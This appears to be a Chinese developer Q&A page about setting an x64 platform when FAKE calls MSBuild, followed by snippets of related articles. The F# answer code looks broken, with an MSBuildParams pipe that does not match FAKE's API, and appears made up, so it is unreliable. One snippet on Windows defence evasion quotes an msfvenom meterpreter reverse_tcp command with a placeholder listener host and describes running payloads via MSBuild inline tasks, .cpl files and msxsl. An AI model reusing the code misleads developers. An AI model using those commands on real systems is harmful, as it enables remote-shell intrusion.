首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

F# / FAKE -调用MSBuild时如何指定`--平台:x64`

F#是一种函数式编程语言,它是基于.NET平台的一部分,可以在.NET Framework和.NET Core上运行。它具有强大的类型推断和模式匹配功能,使得编写简洁、可维护的代码变得更加容易。

FAKE是F#的构建工具,它提供了一种简单而灵活的方式来定义和执行构建脚本。通过使用FAKE,开发人员可以自动化构建过程,包括编译、测试、打包和部署等。

当调用MSBuild时,可以使用FAKE来指定--平台:x64参数。在FAKE脚本中,可以使用MSBuild函数来调用MSBuild,并通过--properties参数传递额外的属性。要指定平台为x64,可以使用以下代码:

代码语言:txt
复制
open Fake

Target "Build" (fun _ ->
    !! "YourProject.sln"
        |> MSBuildRelease buildDir "Build"
        |> MSBuildParams "--platform:x64"
)

RunTargetOrDefault "Build"

在上面的代码中,MSBuildRelease函数用于指定构建目标和输出目录。通过在MSBuildParams中添加--platform:x64参数,可以将平台设置为x64。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

.NET 简介

在罗斯林和F#编程语言编译器。 该MSBuild的生成引擎。 在.NET运行库。提供类型系统、程序集加载、垃圾收集器、本地互操作和其他基本服务。 运行时库。提供原始数据类型和基本实用程序。...使用完对象后,调用对象的Dispose()方法,该方法负责释放任何非托管资源。.NET 语言提供了一个方便的using语句(C#、F#、VB)来确保Dispose方法被调用。...运行时标识符 (RID) 运行 .NET 应用程序的操作系统平台和 CPU 架构。例如:Windows x64、Linux x64。...包括 CLI、MSBuild、.NET 运行时和其他组件。 SDK风格的项目 一组 MSBuild 目标和任务,用于指定如何为特定应用类型构建项目。...NET 提供了多种调用这些 API 的方法。 与原生 API 互操作的主要方式是通过“平台调用”或简称 P/Invoke。跨 Linux 和 Windows 平台支持 P/Invoke。

2K20
  • dotnet publish

    有关如何使用 NuGet 源的信息,请参阅 dotnet restore 文档。 MSBuild dotnet publish 命令调用 MSBuild,后者会调用 Publish 目标。...如果在设置 PublishProfile 属性指定路径和文件扩展名,则它们会被忽略。...建议在发布配置文件中而不是在命令行中指定 PublishReadyToRun。 PublishSingleFile 将应用打包到特定于平台的单个文件可执行文件中。...PROJECT 是 C#、F# 或 Visual Basic 项目文件的路径和文件名,或包含 C#、F# 或 Visual Basic 项目文件的目录的路径。 如果未指定目录,则默认为当前目录。...指定此标记等同于删除 project.assets.json 文件。 -?|-h|--help 打印出有关如何使用命令的说明。 --interactive 允许命令停止并等待用户输入或操作。

    2.2K10

    win10 uwp 使用 msbuild 命令行编译 UWP 程序

    本文告诉大家如何使用 msbuild 命令行编译一个 UWP 程序 在有一些时候,如使用持续集成的时候就不能通过 VisualStudio 的方式编译 UWP 程序,需要使用命令行的方式编译。...尝试在本地从开始菜单打开开发命令提示符,或者从使用命令行调用本机的 VisualStudio 编译命令行 cmd> "C:\Program Files (x86)\Microsoft Visual Studio...可以编译 sln 或编译 csproj 项目,推荐是编译 sln 的方式 在命令行跳转盘符,如从原来的C盘到 D 盘可以通过 盘符: 的方式 cmd> D: 这样就可以跳转到 D 盘,在进入指定的文件夹...x64的程序,可以使用下面代码 cmd> msbuild /t:restore /p:Platform=x64 现在就可以进行编译了,通过下面的代码进行编译 cmd> msbuild /p:Platform...|arm" 如果是需要编译其他的解决方案,也就是当前的工作文件夹不在指定的项目文件夹,可以在 msbuild 后面添加解决方案的路径。

    83220

    win10 uwp 使用 msbuild 命令行编译 UWP 程序

    本文告诉大家如何使用 msbuild 命令行编译一个 UWP 程序 在有一些时候,如使用持续集成的时候就不能通过 VisualStudio 的方式编译 UWP 程序,需要使用命令行的方式编译。...尝试在本地从开始菜单打开开发命令提示符,或者从使用命令行调用本机的 VisualStudio 编译命令行 cmd> "C:\Program Files (x86)\Microsoft Visual Studio...可以编译 sln 或编译 csproj 项目,推荐是编译 sln 的方式 在命令行跳转盘符,如从原来的C盘到 D 盘可以通过 盘符: 的方式 cmd> D: 这样就可以跳转到 D 盘,在进入指定的文件夹...x64的程序,可以使用下面代码 cmd> msbuild /t:restore /p:Platform=x64 现在就可以进行编译了,通过下面的代码进行编译 cmd> msbuild /p:Platform...|arm" 如果是需要编译其他的解决方案,也就是当前的工作文件夹不在指定的项目文件夹,可以在 msbuild 后面添加解决方案的路径。

    1.3K20

    windows命令执行防御规避总结

    /reverse_tcp set LHOST xx.xx.xx.xx set LPORT 4444 exploit Msbuild.exe MSBuild是Microsoft Build Engine的缩写...,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件 https://github.com/3gstudent/msbuild-inline-task...msf生成shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f csharp...xxxxxxx.hta 控制面板 攻击者可以使用控制面板项作为有效载荷来执行任意命令,控制面板项是注册的可执行文件(.exe)或控制面板(.cpl)文件,可以直接从命令行执行或通过Control_RunDLL(API)调用或者直接双击文件...windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:\users\administrator\desktop\CPIApplet.cpl 执行命令 通过msxsl.exe调用恶意

    75520

    DotNet 资源大全中文版(Awesome最新版)

    [$] Build Automation 构建自动化 Psake - .基于BNET的构建自动化工具,用PowerShell编写 FAKE - F#Make,跨平台构建自动化系统 Invoke-Build...MSBuild - Microsoft Build Engine(MSBuild)是.NET和Visual Studio的构建平台 Cake - Cake(C#Make)是具有C#DSL的跨平台构建自动化系统...R Provider - 键入提供者,以类型安全的方式向R#调用者公开R包和函数 F# Data - 用于访问XML,JSON,CSV和HTML文件(基于示例文档)和访问WorldBank数据的F#类提供程序...Shielded - .NET的软件事务内存(STM)实现 MSBuild ILMerge task - MSBuild ILMerge任务是一个NuGet包,允许您在自动构建和/或Visual Studio...基于.Net Core和Electron的跨平台桌面应用程序。 [免费] [专有] Netling - 负载测试客户端,方便网络测试。 使用少量CPU或内存,速度非常快。

    16.2K82

    .NET Core 2.1 Preview 2发布 - April 10, 2018

    调用时都需要JIT编译大量代码。...- 卸载并重新安装工具,并对其进行有效更新 dotnet tool uninstall - 卸载一个工具 dotnet tool list - 列出当前安装的工具 --tool-path - 为每个调用指定一个特定的位置以...还有其他好处,例如: 消除了libcurl(用于Linux和MacOS)和WinHTTP(用于Windows)的平台依赖关系- 简化了开发,部署和服务。 跨平台平台/依赖版本的一致行为。...您可以通过aspnet / announcements#298了解有关此更改以及如何适应的更多信息。 我们还为.NET Core Docker镜像添加了一组环境变量,适用于2.0及更高版本。...我们将支持以下芯片架构: 在Windows上:x64和x86 在Linux上:x64和ARM32 在macOS上:x64 Azure应用服务和VSTS部署 ASP.NET Core 2.1预览不会自动部署到

    83450

    【值得收藏】收集了.Net 不少资源

    官网 ProjectScaffold:F# 基金会推荐的 .NET 解决方案的原型——包括文件系统的搭建、用于管理依赖的 Paket 以及用于自动化构建、测试的 FAKE。...官网 FAKEF# Make,一个跨平台自动构建系统。 官网 Invoke-Build:PowerShell 自动构建和测试工具,灵感来自 Psake。...官网 MSBuild:微软构建引擎(MSBuild)是 .NET 和 Visual Studio 的构建平台。 官网 Cake:Cake(C# Make)使用 C# DSL 的跨平台自动构建系统。...官网 numl:包含最流行的监督学习和无监督学习算法,尽量减少创建预测模型的冲突。 官网 R Provider:将 R 语言包和函数封装为类型安全的类型提供程序供 F# 调用。...官网 Suave.IO:一个框架/库/web 服务器,当你看到你使用优美的 F# 编写的代码提前完成了你的项目,它的存在会让你喜极而泣。

    3.1K20

    .Net开源框架

    官网 ProjectScaffold:F# 基金会推荐的 .NET 解决方案的原型——包括文件系统的搭建、用于管理依赖的 Paket 以及用于自动化构建、测试的 FAKE。...官网 FAKEF# Make,一个跨平台自动构建系统。官网 Invoke-Build:PowerShell 自动构建和测试工具,灵感来自 Psake。...官网 MSBuild:微软构建引擎(MSBuild)是 .NET 和 Visual Studio 的构建平台。官网 Cake:Cake(C# Make)使用 C# DSL 的跨平台自动构建系统。...官网 numl:包含最流行的监督学习和无监督学习算法,尽量减少创建预测模型的冲突。官网 R Provider:将 R 语言包和函数封装为类型安全的类型提供程序供 F# 调用。...官网 Suave.IO:一个框架/库/web 服务器,当你看到你使用优美的 F# 编写的代码提前完成了你的项目,它的存在会让你喜极而泣。

    6.9K30

    dotnet 命令

    所有命令都支持 --help 选项,用于打印有关如何使用命令的简短文档。 它运行 .NET 应用程序。 指定应用程序 .dll 文件的路径以运行应用程序。...x86 版本的 SDK 只列出 x86 运行时,而 x64 版本的 SDK 只列出 x64 运行时。 --list-sdks 打印出已安装的 .NET SDK 的列表。 -?...仅绑定到指定的版本。 建议不要将此策略用于一般用途,因为它会禁用前滚到最新补丁的功能。 该值仅建议用于测试。 除 Disable 外,所有设置都将使用可用的最高补丁版本。...dotnet msbuild 提供对 MSBuild 命令行的访问权限。 dotnet new 为给定的模板初始化 C# 或 F# 项目。 dotnet pack 创建代码的 NuGet 包。...全局、工具路径和本地工具命令 工具是控制台应用程序,它们从 NuGet 包中安装并从命令提示符处进行调用。 你可自行编写工具,也可安装由第三方编写的工具。

    1.6K20

    Win10 Edge浏览器从越界写到任意内存读写

    经过分析,该漏洞影响win10 x64平台的edge浏览器,攻击者经过精心构造的网页,可以在受害者机器上达到远程代码攻击的效果。...(x64平台的利用实在比x86的难太多:( ) 0×0漏洞分析 由于chakra脚本引擎已经开源,所以可以从github上得到此次漏洞修复的代码如下(in JavascriptArray.cpp\MapHelper...调用y类的constructor函数,也就是fake函数,用于创建newObj对象,也就是Array.prototype.map()函数即将返回的对象。...在JS中,即使fake是一个类,但实际上它是一个函数,包括其他类Array等也是一个函数,当调用new fake()的时候实际上是进入了class fake中的[Symbol.species]函数中,换句话说...但是在x64平台想要编译出比较好用的gadgets JIT code需要一点耐心去写webGL代码,而且在x64中参数是通过寄存器传递,这样对栈中的数据的控制难度就会加大。

    1.4K70
    领券